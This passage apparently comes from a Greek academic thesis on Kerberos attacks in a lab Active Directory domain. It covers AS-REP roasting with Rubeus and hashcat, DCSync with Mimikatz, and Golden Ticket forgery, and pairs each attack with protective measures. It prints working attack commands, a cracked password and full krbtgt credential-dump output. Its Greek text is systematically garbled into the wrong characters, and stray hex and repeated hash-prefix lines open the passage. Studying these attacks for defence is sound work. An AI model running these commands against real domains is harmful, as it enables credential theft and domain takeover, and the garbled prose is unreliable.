0710E71A6FD71C09D22E28AF035CCBAC27E3113D6D0BC043C46744FEC0AEF483AA2AD07ABFECC01

AEF9940C3E5AAFA241FD4D8C40B95578769A3B4EA125562B124DF3B49A17312B50A0E8F28EE7C3FD5

A8A922D80FC10101852A537D25D38B436294420DB7421F1F20BEF00A10F86EEFEA73F1476564B4AB259

5DB8258B24EBB6288658200167201AAAA35C7837 

Αθνύ πιένλ βξέζεθε ν επάισηνο ρξήζηεο ζα πξνζπαζήζεη πιένλ ν επηηηζέκελνο λα 

εμαγάγεη ηα δεδνκέλα ζε κηα κνξθή πνπ κπνξεί λα ζπάζεη εθηόο ζύλδεζεο από ην 

εξγαιείν Hashcat. Η παξαθάησ εληνιή ζα εμάγεη ηηο πιεξνθνξίεο θαηαθεξκαηηζκνύ 

AS-REP ζε έλα αξρείν θεηκέλνπ:  

mailto:$krb5asrep$duser1@asimi.local
mailto:$krb5asrep$duser1@asimi.local
mailto:$krb5asrep$duser1@asimi.local
mailto:$krb5asrep$duser1@asimi.local
mailto:$krb5asrep$duser1@asimi.local
mailto:$krb5asrep$duser1@asimi.local
mailto:$krb5asrep$duser1@asimi.local


 

 PS C:\Users\duser1\Desktop>  Rubeus.exe asreproast  /format:hashcat   

/outfile:C:\Temp\hashes.txt  

ηε ζπλέρεηα, ζα ρξεζηκνπνηήζεη ην Hashcat ή  ην John the Ripper εξγαιείν γηα λα 

ζπάζεη ηνπο θαηαθεξκαηηζκνύο πνπ βξέζεθαλ. Απιώο πξέπεη λα θαζνξίζεη ηνλ 

ζσζηό θσδηθό θαηαθεξκαηηζκνύ γηα ηνπο θαηαθεξκαηηζκνύο AS-REP, ην αξρείν 

θαηαθεξκαηηζκνύ θαη έλα ιεμηθό πνπ ζα ρξεζηκνπνηεζεί γηα ηελ εηθαζία ηνπ θσδηθνύ 

πξόζβαζεο κε brute-force. Ο επηηηζέκελνο ρξεζηκνπνηεί ηελ παξαθάησ εληνιή θαη 

ζπάζεη ην θσδηθό γηα απηόλ ηνλ ρξήζηε (duser1) θαη ν θσδηθόο πνπ βξέζεθε είλαη ην 

admin123! : 

 hashcat64.exe -m 18200 ass4.txt gr_wordlist.txt 

 

Δηθόλα 29: Δληνιή από ην εξγαιείν Hashcat γηα λα βξεη ην θσδηθό γηα απηόλ ηνλ ρξήζηε. 

 
Με ηελ επίζεζε απηή όπσο παξνπζηάζηεθε θαη παξαπάλσ έλαο θαθόβνπινο κπνξεί 

λα βξεη ην όλνκα ρξήζηε θαη ην θσδηθό ηνπ ζρεηηθά εύθνια αξθεί λα είλαη 

απελεξγνπνηεκέλε ε επηινγή ηνπ "Να κελ απαηηείηαη πξνέιεγρνο Kerberos". 

 

Μέηξα πξνζηαζίαο γηα ηελ επίζεζε ASREPRoasting 

 

Η επίζεζε ASREPRoasting επηθεληξώλεηαη ζηνλ ηξόπν κε ηνλ νπνίν ην Kerberos 

ρεηξίδεηαη ηα αηηήκαηα εηζηηεξίσλ εμνπζηνδόηεζεο (TGT) ρσξίο πξν- επαιήζεπζε. 

 



 

Γηα ηελ πξνζηαζία από απηήλ ηελ επίζεζε, κπνξεί ν ρξήζηεο λα ιάβεη ηα παξαθάησ 

κέηξα: 

 

1. Δλεξγνπνίεζε Πξν-Δπαιήζεπζεο (Pre-Authentication): Η ελεξγνπνίεζε 

ηεο πξν-επαιήζεπζεο γηα όινπο ηνπο ινγαξηαζκνύο ρξεζηώλ είλαη ην πην 

ζεκαληηθό κέηξν αζθαιείαο. Απηό απαηηεί ηελ επηβεβαίσζε ηεο ηαπηόηεηαο 

θαηά ηελ πξνζπάζεηα ιήςεο εηζηηεξίσλ.  

2. Παξαθνινύζεζε ησλ Αξρείσλ Καηαγξαθήο πκβάλησλ: Πξέπεη λα 

ππάξρνπλ ιεπηνκεξείο θαηαγξαθέο ζπκβάλησλ γηα ην Kerberos θαη ζπλερήο 

παξαθνινύζεζε ηπρόλ αηηεκάησλ πνπ δελ ρξεζηκνπνηνύλ πξν- επαιήζεπζε.  

3. Πεξηνξηζκόο Πξόζβαζεο: Πεξηνξηζκόο ηεο πξόζβαζεο ζε ινγαξηαζκνύο 

ρξεζηώλ πνπ ρξεζηκνπνηνύλ πξν-επαιήζεπζε. Απηό κπνξεί λα πεξηιακβάλεη 

επαίζζεηνπο ινγαξηαζκνύο.  

4. Δθαξκνγή Πνιύπινθσλ Κσδηθώλ Υξεζηώλ: Η ρξήζε πνιύπινθσλ θαη 

κνλαδηθώλ θσδηθώλ πξνζηαηεύεη ηνπο ινγαξηαζκνύο από επηζέζεηο 

εθκεηάιιεπζεο.  

5. Δλεκέξσζε Κέληξνπ Γηαλνκήο Κιεηδηώλ (KDC): Δλεκέξσζε ηνπ 

Kerberos KDC ζην πην πξόζθαην ινγηζκηθό θαη εθαξκνγή ηπρόλ 

ελεκεξώζεσλ αζθαιείαο πνπ πξνζηαηεύνπλ από επξέσο γλσζηέο εππάζεηεο.  

6. Καηάξγεζε Με Υξεζηκνπνηνύκελσλ Υξεζηώλ: Καηάξγεζε ή πεξηνξηζκόο 

ρξήζεο ινγαξηαζκώλ ρξεζηώλ πνπ δελ ρξεζηκνπνηνύληαη, θαζώο απηνί 

ελδέρεηαη λα είλαη επάισηνη ζε επηζέζεηο (Joe Dibley, 2022).  

 

Η νινθιεξσκέλε εθαξκνγή ησλ κέηξσλ αζθαιείαο δηακνξθώλεη έλα πνιπεπίπεδν 

πξνζηαηεπηηθό πεξηβάιινλ, θάλνληαο ην αζθαιή ελάληηα ζηηο επηζέζεηο 

ASREPRoasting. Με απηόλ ηνλ ηξόπν, ε ζπλεθηηθή πξνζέγγηζε απηώλ ησλ κέηξσλ 

ζπκβάιιεη ζηελ νπζηαζηηθή ελίζρπζε ηεο αζθάιεηαο θαη ηεο αλζεθηηθόηεηαο ηνπ 

ζπζηήκαηνο. 

 

 

 

 



 

Δπίζεζε DCSync ζην Kerberos 

 

 

Η επίζεζε DCSync είλαη κηα επίζεζε πνπ εθκεηαιιεύεηαη ην πξσηόθνιιν Kerberos 

ζε έλα πεξηβάιινλ Windows. Σν Kerberos είλαη έλα πξσηόθνιιν απζεληηθνπνίεζεο 

πνπ ρξεζηκνπνηείηαη ζε πεξηβάιινληα Windows γηα ηε δηαρείξηζε ηαπηνπνίεζεο.  

 

Η επίζεζε DCSync απνζθνπεί ζηνλ αλαγθαζκό ελόο Domain Controller (DC) λα 

αλαθηήζεη θαη λα παξαδώζεη επαίζζεηεο πιεξνθνξίεο ινγαξηαζκώλ ρξεζηώλ, όπσο 

ηα hash ησλ θσδηθώλ πξόζβαζεο.  

 

Οη επηηηζέκελνη πνπ έρνπλ πξόζβαζε ζην ζύζηεκα κπνξνύλ λα ρξεζηκνπνηήζνπλ 

απηά ηα hash γηα λα πξνζνκνηώζνπλ ηνπο ρξήζηεο θαη λα απνθηήζνπλ πξόζβαζε ζε 

πόξνπο θαη πιεξνθνξίεο πνπ αλήθνπλ ζε απηνύο ηνπο ινγαξηαζκνύο. Γηα λα 

εθηειέζεη θάπνηνο κηα επίζεζε DCSync, ρξεηάδεηαη ζπλήζσο πςειό επίπεδν 

πξόζβαζεο ζην ζύζηεκα, θαζώο θαη πξόζβαζε ζηα θαηάιιεια εξγαιεία.  

 

Σν εξγαιείν "Mimikatz" είλαη έλα από ηα πην γλσζηά εξγαιεία πνπ κπνξνύλ λα 

ρξεζηκνπνηεζνύλ γηα λα εθηειεζηεί ε επίζεζε DCSync. Απηό ην εξγαιείν κπνξεί λα 

ρξεζηκνπνηήζεη επηζέζεηο Pass-the-Ticket (PtT) γηα λα αληιήζεη επαίζζεηεο 

πιεξνθνξίεο από ηνλ Domain Controller.  

 

Σν DCSync επηηξέπεη ζε έλαλ εηζβνιέα λα ρξεζηκνπνηήζεη κόλν ηα δηαπηζηεπηήξηα 

ελόο δηαρεηξηζηηθνύ ινγαξηαζκνύ (ή αθόκα θαη έλαλ ρξήζηε ηνπ Active Directory 

domain κε επαξθή πξνλόκηα) γηα λα παξαβηάζεη πιήξσο έλα νιόθιεξν Active 

Directory forest. Γηα  παξάδεηγκα, νη ελζσκαησκέλεο δπλαηόηεηεο ηνπ Mimikatz θαη 

άιια εξγαιεία  επηηξέπνπλ ζηνπο εηζβνιείο λα κηκεζνύλ έλαλ domain controller θαη 

λα  μεθηλήζνπλ ην αίηεκα. Απηό απαιιάζζεη ηνλ εηζβνιέα από ηελ πξνζπέιαζε θαη 

ην θαηέβαζκα ελόο αξρείνπ βάζεο δεδνκέλσλ NTDS.DIT ησλ Windows. Οη επηζέζεηο 

DCSync κπνξεί λα είλαη πξννίκην γηα επόκελεο επηζέζεηο Golden θαη Silver Ticket 

(ππξνπνπινο Γεώξγηνο, 2021).  

 

 

 



 

Αο αλαιπζεί ινηπόλ πώο ιεηηνπξγεί ε επίζεζε DCSync:  

 

1. Αλαγλώξηζε ηνπ Active Directory δηαρεηξηζηή:  

o Ο επηηηζέκελνο πξέπεη λα έρεη ήδε απνθηήζεη πξνλνκηνύρα 

δηαπηζηεύζεηο ζε έλα ζύζηεκα ηνπ Active Directory, ζπρλά σο 

δηαρεηξηζηήο.  

2. Υξήζε εξγαιείσλ όπσο ην Mimikatz:  

o Ο επηηηζέκελνο ρξεζηκνπνηεί εξγαιεία όπσο ην Mimikatz γηα λα 

αληιήζεη ηα hash ησλ θσδηθώλ πξόζβαζεο από ηε κλήκε ηνπ 

ζπζηήκαηνο.  

o Σν Mimikatz, γηα παξάδεηγκα, κπνξεί λα εθηειέζεη επηζέζεηο Pass-the-

Ticket (PtT) γηα λα αληιήζεη επαίζζεηεο πιεξνθνξίεο, 

ζπκπεξηιακβαλνκέλσλ ησλ hash ησλ θσδηθώλ πξόζβαζεο, από ηνλ 

DC.  

3. Αλάθηεζε ησλ hash ησλ θσδηθώλ πξόζβαζεο:  

o Οη hash ησλ θσδηθώλ πξόζβαζεο είλαη επαίζζεηεο πιεξνθνξίεο πνπ 

ρξεζηκνπνηνύληαη γηα ηελ απζεληηθνπνίεζε ησλ ρξεζηώλ ζην Active 

Directory.  

o Ο επηηηζέκελνο, ρξεζηκνπνηώληαο ηα hash, κπνξεί λα πξνζνκνηώζεη 

ηνπο ρξήζηεο θαη λα απνθηήζεη πξόζβαζε ζε πόξνπο θαη πιεξνθνξίεο 

πνπ αλήθνπλ ζε απηνύο.  

4. Αλαπαξάζηαζε ινγαξηαζκώλ:  

o Με ηα hash ησλ θσδηθώλ πξόζβαζεο ζηελ δηάζεζή ηνπ, ν επηηηζέκελνο 

κπνξεί λα αλαπαξαζηήζεη ηνπο ινγαξηαζκνύο ησλ ρξεζηώλ ζην Active 

Directory.  

o Απηό ηνπ επηηξέπεη λα αληηγξάςεη, λα δηαβάζεη θαη λα αληιήζεη 

πιεξνθνξίεο σο νπνηνζδήπνηε άιινο ρξήζηεο ζηνλ θαηάινγν.  

 

Δίλαη ζεκαληηθό λα ζεκεησζεί όηη νη επηζέζεηο DCSync απαηηνύλ ζπλήζσο 

πξνεγνύκελε ζπκπεξηθνξά εθκεηάιιεπζεο θαη πξόζβαζεο ζην ζύζηεκα, θαη νη 

δηαρεηξηζηέο ζπζηεκάησλ πξέπεη λα ιάβνπλ κέηξα αζθαιείαο γηα λα πεξηνξίζνπλ ηελ 

πξόζβαζε θαη λα πξνζηαηεύζνπλ ηηο επαίζζεηεο πιεξνθνξίεο. Η αζθάιεηα ησλ 



 

ζπζηεκάησλ Windows ζπρλά αλαβαζκίδεηαη, θαη ε Microsoft πξνζθέξεη εξγαιεία θαη 

πξαθηηθέο γηα ηελ πξνζηαζία από απηνύο ηνπο ηύπνπο επηζέζεσλ. 

 

Δληνιέο γηα ηελ επίζεζε 

 

Γηα λα γίλεη απηήλ ηελ επίζεζε, ζηνλ Windows Server 2016 πξέπεη λα έρεη θηηαρηεί 

πξώηα έλαο ινγαξηαζκόο ρξήζηε ζηελ νκάδα ρξεζηώλ ηνκέα. Έπεηηα ζα πξέπεη λα 

πξνζηεζνύλ εθηεηακέλα δηθαηώκαηα ζε απηόλ ηνλ ινγαξηαζκό ρξήζηε πνπ 

δεκηνπξγήζεθε.  

 

Δπόκελν βήκα είλαη λα αλνίμεη ην Active Directory Users and Computers, ζην κελνύ 

View, γίλεηαη επηινγή ζην Advanced Features, δεμί θιηθ ζην όλνκα ηνκέα θαη ζηελ 

θαξηέια Security, εάλ ν επηζπκεηόο ινγαξηαζκόο ρξήζηε δελ είλαη ζηε ιίζηα, πξέπεη 

λα γίλεη πξνζζήθε  ην όλνκα ηνπ θαη κεηά επηινγή ζην Check Name γηα λα 

εκθαληζηεί ην όλνκα ηνπ ρξήζηε πνπ δεκηνπξγήζεθε θαη επηινγή OK. Σώξα πνπ 

εκθαλίδεηαη ν επηζπκεηόο ινγαξηαζκόο ρξήζηε, γίλεηαη θιηθ ζηνλ επηζπκεηό 

ινγαξηαζκό ρξήζηε θαη ζηελ άδεηα, ηέινο θάλεη θιηθ ζηελ επηινγή «Να επηηξέπεηαη 

ζηα δηθαηώκαηα» πνπ εκθαλίδνληαη παξαθάησ. Γηα θαιύηεξε θαηαλόεζε αθνινπζνύλ 

θαη εηθόλεο κε ηα παξαπάλσ βήκαηα. 

 

 

Δηθόλα 30: Γεκηνπξγία ινγαξηαζκνύ ρξήζηε ζηελ νκάδα ρξεζηώλ ηνκέα. 



 

 

Δηθόλα 31: Άδεηεο γηα ηνλ ινγαξηαζκό extended πνπ έρεη θηηαρηεί. 

 

 

Έπεηηα ν επηηηζέκελνο, πξέπεη λα ζπλδεζεί ζηα Windows 10 ρξεζηκνπνηώληαο ηνλ 

ινγαξηαζκό ρξήζηε πνπ δεκηνπξγήζεθε κε ηα εθηεηακέλα δηθαηώκαηα, γηα ηελ 

εθηέιεζε ηεο επίζεζεο DCSync γηα λα αλαθηήζεη ηνλ θαηαθεξκαηηζκό NTLM ηνπ 

ινγαξηαζκνύ krbtgt ρξεζηκνπνηώληαο ην Mimikatz.  

 

αλ επόκελν βήκα ν επηηηζέκελνο αλνίγεη ην Mimikatz θαη ηξέρεη ηελ αθόινπζε 

εληνιή:  

 lsadump::dcsync /domain:asimi.local /user:krbtgt 

Σα απνηειέζκαηα ηεο επίζεζεο ζα εκθαλίδνληαη όπσο θαη παξαθάησ:  

mimikatz # lsadump::dcsync /domain:asimi.local /user:krbtgt 

[DC] 'asimi.local' will be the domain 

[DC] 'DC.asimi.local' will be the DC server 

[DC] 'krbtgt' will be the user account 

[rpc] Service  : ldap 

[rpc] AuthnSvc : GSS_NEGOTIATE (9) 

Object RDN           : krbtgt 

 

** SAM ACCOUNT ** 

SAM Username         : krbtgt 



 

Account Type         : 30000000 ( USER_OBJECT ) 

User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) 

Account expiration   : 

Password last change : 5/3/2023 3:55:46 AM 

Object Security ID   : S-1-5-21-3432668484-190059196-1493643663-502 

Object Relative ID   : 502 

 

Credentials: 

Hash NTLM: f634b3ca2d061d2ebd78627667d18417 

ntlm- 0: f634b3ca2d061d2ebd78627667d18417 

lm  - 0: 1c1cc30bc42ee4604774ce26c98734f9 

 

Supplemental Credentials: 

* Primary:NTLM-Strong-NTOWF * 

Random Value : 81de97b7c2e33d6154742bbc95dee9ca 

 

* Primary:Kerberos-Newer-Keys * 

Default Salt : ASIMI.LOCALkrbtgt 

Default Iterations : 4096 

Credentials 

aes256_hmac       (4096) : 99b88ae3c970c880b2d9024761662d17effd4332b1e4b1a7d9c82faf61bf85f1 

aes128_hmac       (4096) : e1bc5a94b51b6b6f49d617db49c538a3 

des_cbc_md5       (4096) : c4573b6b206b38c2 

 

* Primary:Kerberos * 

Default Salt : ASIMI.LOCALkrbtgt 

Credentials 

des_cbc_md5       : c4573b6b206b38c2 

 

* Packages * 

NTLM-Strong-NTOWF 

 

* Primary:WDigest * 

01  6e9b2237cb1b7f7cb4ee1c55e0bb7673 

02  6acde5179fd76225fa0107b615519e03 

03  28aa25a1e4845a6e9b3843b708c0d5dc 

04  6e9b2237cb1b7f7cb4ee1c55e0bb7673 

05  6acde5179fd76225fa0107b615519e03 

06  582faef8dd18c3046e262e7c3d7b15cc 

07  6e9b2237cb1b7f7cb4ee1c55e0bb7673 



 

08  4f6b61f0d6a6ed308a840f6c3031dc8d 

09  4f6b61f0d6a6ed308a840f6c3031dc8d 

10  bf647f715a8c068533a0e07b161cfeef 

11  2f956287ba809033f6cb65dc849434da 

12  4f6b61f0d6a6ed308a840f6c3031dc8d 

13  b21e2cfd200a692b3fcb7c9a6aace5dd 

14  2f956287ba809033f6cb65dc849434da 

15  d49abb8c35ea7c7a783f75670b9c537a 

16  d49abb8c35ea7c7a783f75670b9c537a 

17  83caccc5c7ca222106bf5ccd7b240685 

18  904c269bd21874bae3438fa0dd8cc995 

19  1fa9401ce8b716d1e5b6b00bad8cbcdb 

20  c429841a8f53de6d4ae6d983137d33e2 

21  385a9e0cb402598f390dbf4c83e23e6b 

22  385a9e0cb402598f390dbf4c83e23e6b 

23  453740616d558df563f7d237f18f86af 

24  9026af61e46630c8b6611e3dec8381bb 

25  9026af61e46630c8b6611e3dec8381bb 

26  545f540a5e89ac39c6d6b160b80e335b 

27  50a9ee8b33746823e0d2d7eb3e7a8810 

28  4245b35714715c036eece16e8d76f3bf 

29  0a3b1a4a81b6d42065a00e50c84d8f3a 

 

Ο επηηηζέκελνο βξήθε ηνλ θαηαθεξκαηηζκό krbtgt όπσο θαίλεηαη ζηελ αξρή θαη ζηηο 

παξαθάησ εηθόλεο: 

 
 

Δηθόλα 32: Ο επηηηζέκελνο αλνίγεη ην Mimikatz θαη ηξέρεη ηελ εληνιή  γηα λα βξεη ηνλ θαηαθεξκαηηζκό 

krbtgt. 



 

 
 

Δηθόλα 33: Ο επηηηζέκελνο αλνίγεη ην Mimikatz θαη ηξέρεη ηελ εληνιή  γηα λα βξεη ηνλ θαηαθεξκαηηζκό 

krbtgt. 

 

 
 

Δηθόλα 34: Ο επηηηζέκελνο αλνίγεη ην Mimikatz θαη ηξέρεη ηελ εληνιή  γηα λα βξεη ηνλ θαηαθεξκαηηζκό 

krbtgt. 

 
 

 

 



 

Η ζηόρεπζε ελόο ινγαξηαζκνύ δηαρεηξηζηή κε ην DCSync κπνξεί επίζεο λα παξέρεη 

ην ηζηνξηθό θσδηθώλ πξόζβαζεο ηνπ ινγαξηαζκνύ (ζε κνξθή θαηαθεξκαηηζκνύ). 

Γεδνκέλνπ όηη ππάξρνπλ θαηαρσξεκέλα LMHashes, κπνξεί λα είλαη δπλαηό λα ηα 

ζπάζεη ν επηηηζέκελνο θαη λα απνθηήζεη πιεξνθνξίεο ζρεηηθά κε ηε ζηξαηεγηθή 

θσδηθνύ πξόζβαζεο πνπ ρξεζηκνπνηεί ν δηαρεηξηζηήο. Απηό κπνξεί λα δώζεη ζηνλ 

εηζβνιέα ην πξνλόκην λα καληέςεη ηνλ επόκελν θσδηθό πξόζβαζεο πνπ ρξεζηκνπνηεί 

ν δηαρεηξηζηήο εάλ ραζεί ε πξόζβαζε (Sean Metcalf , 2015). 

 

Όηαλ ν αληίπαινο έρεη παξαβηάζεη έλαλ θαηάιιειν ινγαξηαζκό, κπνξεί λα 

ρξεζηκνπνηήζεη ην απνκαθξπζκέλν πξσηόθνιιν ππεξεζίαο αλαπαξαγσγήο 

θαηαιόγνπ (DRS) γηα ηελ αλαπαξαγσγή πξόζζεησλ δηαπηζηεπηεξίσλ θαη άιισλ 

δεδνκέλσλ από ηελ ππεξεζία θαηαιόγνπ Active Directory (Netwrix Corporation, 

2021). Αθνύ έλαο επηηηζέκελνο έρεη ζηελ θαηνρή ηνπ απηά ηα δεδνκέλα όπσο ζα 

παξνπζηαζηεί θαη παξαθάησ ζε επόκελν θεθάιαην κπνξεί λα πξαγκαηνπνηήζεη θαη 

άιιεο επηζέζεηο ζην πξσηόθνιιν Kerberos. 

 

Μέηξα πξνζηαζίαο γηα ηελ επίζεζε DCSync 

 

Η επίζεζε DCSync αληηπξνζσπεύεη κηα ζνβαξή απεηιή γηα ηελ αζθάιεηα ησλ 

πεξηβαιιόλησλ Windows, θαζώο επηηξέπεη ζε επηηηζέκελνπο λα αληιήζνπλ 

επαίζζεηεο πιεξνθνξίεο από ην Active Directory ρσξίο ηελ αλάγθε γηα αληαιιαγή 

θσδηθώλ πξόζβαζεο. Γηα λα αληηκεησπίζνπλ απηήλ ηελ απεηιή, νη δηαρεηξηζηέο 

ζπζηεκάησλ πξέπεη λα πηνζεηήζνπλ ζπλνιηθέο πξνζεγγίζεηο αζθαιείαο. Σν παξόλ 

θεθάιαην εμεηάδεη κεξηθά από ηα βαζηθά κέηξα πξνζηαζίαο πνπ κπνξνύλ λα ιεθζνύλ 

γηα ηελ απνηξνπή θαη ηνλ πεξηνξηζκό ηεο επίζεζεο DCSync.  

 

1. Πεξηνξηζκόο Πξόζβαζεο θαη Καηάιιειε Καηαλνκή Γηθαησκάησλ: Έλα 

από ηα πξώηα βήκαηα γηα ηελ πξνζηαζία από ηελ επίζεζε DCSync είλαη ν 

πεξηνξηζκόο ησλ δηθαησκάησλ πξόζβαζεο. Καηά ηε δεκηνπξγία ινγαξηαζκώλ 

ρξεζηώλ θαη νκάδσλ, νη δηαρεηξηζηέο πξέπεη λα αλαζέηνπλ κόλν ηα 

απαξαίηεηα δηθαηώκαηα γηα ηελ εθηέιεζε ησλ εξγαζηώλ ηνπο. Δπίζεο, ηα 

δηθαηώκαηα πνπ απαηηνύληαη γηα ηε δηαρείξηζε Active Directory πξέπεη λα 



 

ρνξεγνύληαη κε ζύλεζε θαη κε βάζε ηελ αξρή ηεο ειάρηζηεο πξνλνκηνύραο 

πξόζβαζεο.  

2. Δθαξκνγή Απζηεξώλ Καλόλσλ Κσδηθώλ Πξόζβαζεο: Η ρξήζε ηζρπξώλ 

θσδηθώλ πξόζβαζεο είλαη δσηηθήο ζεκαζίαο γηα ηελ πξνζηαζία ησλ 

ινγαξηαζκώλ. Οη δηαρεηξηζηέο πξέπεη λα ππνρξεώλνπλ ηε ρξήζε πνιύπινθσλ 

θσδηθώλ πξόζβαζεο πνπ πεξηιακβάλνπλ ζπλδπαζκνύο γξακκάησλ, αξηζκώλ 

θαη ζπκβόισλ. Δπίζεο, πξέπεη λα πηνζεηεζνύλ θαλόλεο γηα ηελ ηαθηηθή 

αιιαγή ησλ θσδηθώλ πξόζβαζεο.  

3. πλερείο Αλαζεσξήζεηο Γηθαησκάησλ: Οη δηαρεηξηζηέο πξέπεη λα 

πξαγκαηνπνηνύλ ηαθηηθέο αλαζεσξήζεηο ησλ δηθαησκάησλ ρξεζηώλ θαη 

νκάδσλ ζην Active Directory. Απηό δηαζθαιίδεη όηη νη ρξήζηεο δηαηεξνύλ 

κόλν ηα απαξαίηεηα δηθαηώκαηα γηα ηελ εθηέιεζε ησλ εξγαζηώλ ηνπο θαη όηη 

ηα παιηά δηθαηώκαηα αθαηξνύληαη όηαλ δελ είλαη πιένλ απαξαίηεηα.  

4. Δλεξγνπνίεζε Παξαθνινύζεζεο Αζθαιείαο: Η παξαθνινύζεζε αζθαιείαο 

είλαη θαίξηαο ζεκαζίαο γηα ηελ αλίρλεπζε αλσκαιηώλ ζην Active Directory. 

Οη δηαρεηξηζηέο πξέπεη λα ελεξγνπνηνύλ ηελ παξαθνινύζεζε γεγνλόησλ θαη 

λα εμεηάδνπλ ηα απνηειέζκαηα γηα ελδείμεηο πηζαλώλ επηζέζεσλ. Η 

πξνιεπηηθή αλίρλεπζε απνηειεί θξίζηκν ζηνηρείν γηα ηελ πξόιεςε θαη 

αληηκεηώπηζε ηεο επίζεζεο DCSync.  

5. Δθπαίδεπζε ησλ Υξεζηώλ: Η εθπαίδεπζε ησλ ρξεζηώλ είλαη επίζεο 

ζεκαληηθή γηα ηελ αληηκεηώπηζε ησλ επηζέζεσλ θνηλσληθήο κεραληθήο πνπ 

κπνξεί λα νδεγήζνπλ ζε απνθάιπςε επαίζζεησλ πιεξνθνξηώλ. Οη ρξήζηεο 

πξέπεη λα θαηαλννύλ ηε ζεκαζία ηεο πξνζεθηηθήο ρξήζεο δηαπηζηεύζεσλ θαη 

ησλ θσδηθώλ πξόζβαζεο.  

 

Με ηελ εθαξκνγή απηώλ ησλ κέηξσλ πξνζηαζίαο, νη νξγαληζκνί κπνξνύλ λα 

εληζρύζνπλ ηελ αζθάιεηα ηνπο έλαληη ηεο επίζεζεο DCSync θαη άιισλ παξόκνησλ 

απεηιώλ. Η ζπλερήο παξαθνινύζεζε, εθπαίδεπζε θαη εθαξκνγή βέιηηζησλ 

πξαθηηθώλ αζθαιείαο απνηεινύλ ηα βαζηθά ζπζηαηηθά κηαο απνηειεζκαηηθήο 

πξνζέγγηζεο γηα ηελ πξνζηαζία ησλ πόξσλ ηνπ Active Directory. 

 

 



 

Δπίζεζε Golden Ticket ζην Kerberos 

 

 

Σν πξσηόθνιιν Kerberos, πνπ ρξεζηκνπνηείηαη επξέσο ζε πεξηβάιινληα Windows, 

παξέρεη απνηειεζκαηηθή απζεληηθνπνίεζε κεηαμύ ρξεζηώλ θαη ππεξεζηώλ. Ωζηόζν, 

ε αζθάιεηα ηνπ Kerberos κπνξεί λα δηαθπβεπζεί κε ηε ρξήζε επηζέζεσλ όπσο ε 

"Golden Ticket". ε απηό ην θεθάιαην, ζα εμεηαζηεί ηη είλαη ε επίζεζε Golden Ticket, 

πώο ιεηηνπξγεί θαη πνηα κέηξα πξνζηαζίαο κπνξνύλ λα ιεθζνύλ γηα ηνλ πεξηνξηζκό 

απηήο ηεο απεηιήο. 

 

Η επίζεζε απηή δελ είλαη εύθνιν λα επηηεπρζεί, αιιά νη έκπεηξνη επηηηζέκελνη 

κπνξνύλ λα εθκεηαιιεπηνύλ ηηο αδπλακίεο ηνπ Kerberos γηα λα δεκηνπξγήζνπλ έλα 

ρξπζό εηζηηήξην. Μηα επίζεζε κε ρξπζό εηζηηήξην είλαη εμαηξεηηθά επηθίλδπλε. Ο 

εηζβνιέαο όρη κόλν αλαηξέπεη ηηο θαλνληθέο ξνέο εξγαζηώλ ειέγρνπ ηαπηόηεηαο, αιιά 

κπνξεί λα απνθηήζεηο θαη απεξηόξηζηε πξόζβαζε ζε νπνηνλδήπνηε ινγαξηαζκό ή 

πόξν ζε έλαλ ηνκέα ηεο ππεξεζίαο θαηαιόγνπ Active Directory. 

 

Έλα ρξπζό εηζηηήξην είλαη έλα πιαζηό TGT (Ticket Granting Ticket) πνπ 

δεκηνπξγήζεθε κε έλα θιεκκέλν θιεηδί KDC (Key Distribution Center). Έλα ρξπζό 

εηζηηήξην δίλεη ηε δπλαηόηεηα ζηνλ εηζβνιέα λα δεκηνπξγήζεη κηα ςεύηηθε ηαπηόηεηα 

δηαρεηξηζηή ηνκέα γηα λα απνθηήζεη πξόζβαζε ζε νπνηαδήπνηε ππεξεζία ζε έλαλ 

ηνκέα. Σν KDC εκπηζηεύεηαη απηόκαηα έλα TGT πνπ είλαη θξππηνγξαθεκέλν κε έλα 

θιεηδί KDC. Αιιά ε θινπή ηνπ θιεηδηνύ KDC δελ είλαη εύθνιν θαηόξζσκα. Γηα λα 

γίλεη απηό, έλαο εηζβνιέαο πξέπεη λα εγθαηαζηαζεί ζην δίθηπν, λα θιηκαθώζεη ηα 

πξνλόκηά ηνπ θαη λα ζέζεη ζε θίλδπλν ην DC (Domain Controller). Όια απηά ηα 

βήκαηα απαηηνύλ εκπεηξία θαη ρξόλν. Αιιά απηή ε επίζεζε κπνξεί λα δηεπθνιπλζεί 

κε ηε βνήζεηα εξγαιείσλ, όπσο ην Mimikatz ή ην Empire, πνπ έρνπλ ζρεδηαζηεί γηα 

ηελ εθκεηάιιεπζε ηνπ Kerberos. 

 

Με ην Mimikatz, ν εηζβνιέαο κπνξεί λα παξαθάκςεη ην βήκα ηεο παξαβίαζεο ηνπ 

DC γηα λα θιέςεη ηνλ θαηαθεξκαηηζκό ινγαξηαζκνύ KRBTGT (θιεηδί KDC) κε κηα 

ηερληθή πνπ νλνκάδεηαη DCSync. Με ην θιεκκέλν θιεηδί KDC, ην Mimikatz βνεζά 

ηνλ εηζβνιέα λα δεκηνπξγήζεη έλα ρξπζό εηζηηήξην κε ςεύηηθν όλνκα ρξήζηε θαη 

PAC (Privileged Attribute Certificate), θαζνξίδνληαο ηα δηθαηώκαηα δηαρεηξηζηή 



 

ηνκέα γηα απηό ην όλνκα ρξήζηε. Ο εηζβνιέαο παξαθάκπηεη ην αξρηθό βήκα ηεο 

αίηεζεο ηνπ TGT από ην KDC θαη δεηά απεπζείαο έλα εηζηηήξην TGS γηα κηα 

ππεξεζία, όπσο έλα θνηλόρξεζην ζηνηρείν δηαρείξηζεο ή κηα ζεκαληηθή βάζε 

δεδνκέλσλ. Σν KDC εκπηζηεύεηαη ην ρξπζό εηζηηήξην θαη δεκηνπξγεί έλα εηζηηήξην 

TGS κε ην ςεύηηθν PAC (Kirsten Gantenbein, 2021). 

 

Δηθόλα 35: Πσο ιεηηνπξγεί ε επίζεζε Golden Ticket. 

 

Πώο Λεηηνπξγεί ε Δπίζεζε Golden Ticket  

 

1. Κινπή TGT: Ο επηηηζέκελνο θαηαθέξλεη λα θιέςεη ην Ticket Granting Ticket 

(TGT) από έλαλ ρξήζηε κε πςειά πξνλόκηα, ζπλήζσο κε ρξήζε ςεθηαθώλ 

εξγαιείσλ όπσο ην Mimikatz.  

2. Γεκηνπξγία Golden Ticket: Χξεζηκνπνηώληαο ηνλ θιεκκέλν θσδηθό TGT, ν 

επηηηζέκελνο δεκηνπξγεί έλα πιαζηό εηζηηήξην, ην νπνίν νλνκάδεηαη "Golden 

